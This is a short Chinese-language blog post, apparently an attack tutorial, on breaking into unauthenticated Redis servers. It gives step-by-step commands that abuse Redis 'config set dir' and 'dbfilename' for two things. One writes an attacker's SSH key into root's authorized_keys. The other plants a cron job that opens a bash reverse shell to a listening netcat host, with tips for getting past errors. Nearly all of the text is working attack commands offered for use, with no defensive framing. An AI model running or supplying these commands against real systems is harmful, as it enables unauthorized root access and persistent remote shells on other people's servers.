Redis入侵


2021年12月22日 10:11     admin

注意:凡是可直接进入到redis的系统,都可被入侵


ssh 密钥登录:

创建密钥

  1. ssh-keygen -t rsa
  2. cd /root/.ssh/
  3. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
  4. cat auth_key | redis-cli -h 192.168.110.xxx -x set crackit
  5. redis-cli -h 192.168.110.xxx
  6. redis > config set dir /root/.ssh/
  7. 注意:
  8. ==========================================================================
  9. 这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
  10. 这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
  11. (error) ERR Changing directory: Permission denied
  12. 说明redis并不是以root启动的

==========================================================================

  1. redis >config set dbfilename "authorized_keys"
  2. redis >save

注意:如果经REDIS入侵写入的authorized_keys,内容中会有redis信息,如下图:


登陆redis服务器

  1. ssh -i id_rsa root@192.168.110.xxx


计划任务反弹shell:

开启监听端口

  1. nc -l 39527


在一个新客户端,进入redis

  1. #连接redis服务
  2. redis-cli -h 192.168.110.xxx -p 6379
  3. #打开一个交互bash
  4. redis > set abc "\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.110.146/39527 0>&1\n"
  5. #设置redis的备份路径为/var/spool/cron
  6. redis > config set dir /var/spool/cron
  7. 注意:
  8. ==========================================================================
  9. 这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory
  10. 这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可
  11. (error) ERR Changing directory: Permission denied
  12. 说明redis并不是以root启动的
  13. ==========================================================================
  14. #设置本地持久化存储数据库文件名
  15. redis > config set dbfilename root
  16. #保存设置,也就是将上面的配置写入磁盘文件/var/spool/cron/root
  17. redis > save

注意:以上指令即会把/1 * /bin/bash -i >& /dev/tcp/192.168.10.xxx/39527 0>&1写入到系统的定时任务中,所以,系统会定时去执行。


在一分钟后,监听端口的客户端,即会进入到redis服务器

注意:此方法只能执行基础命令


参考资料

  1. https://blog.csdn.net/sojrs_sec/article/details/100999908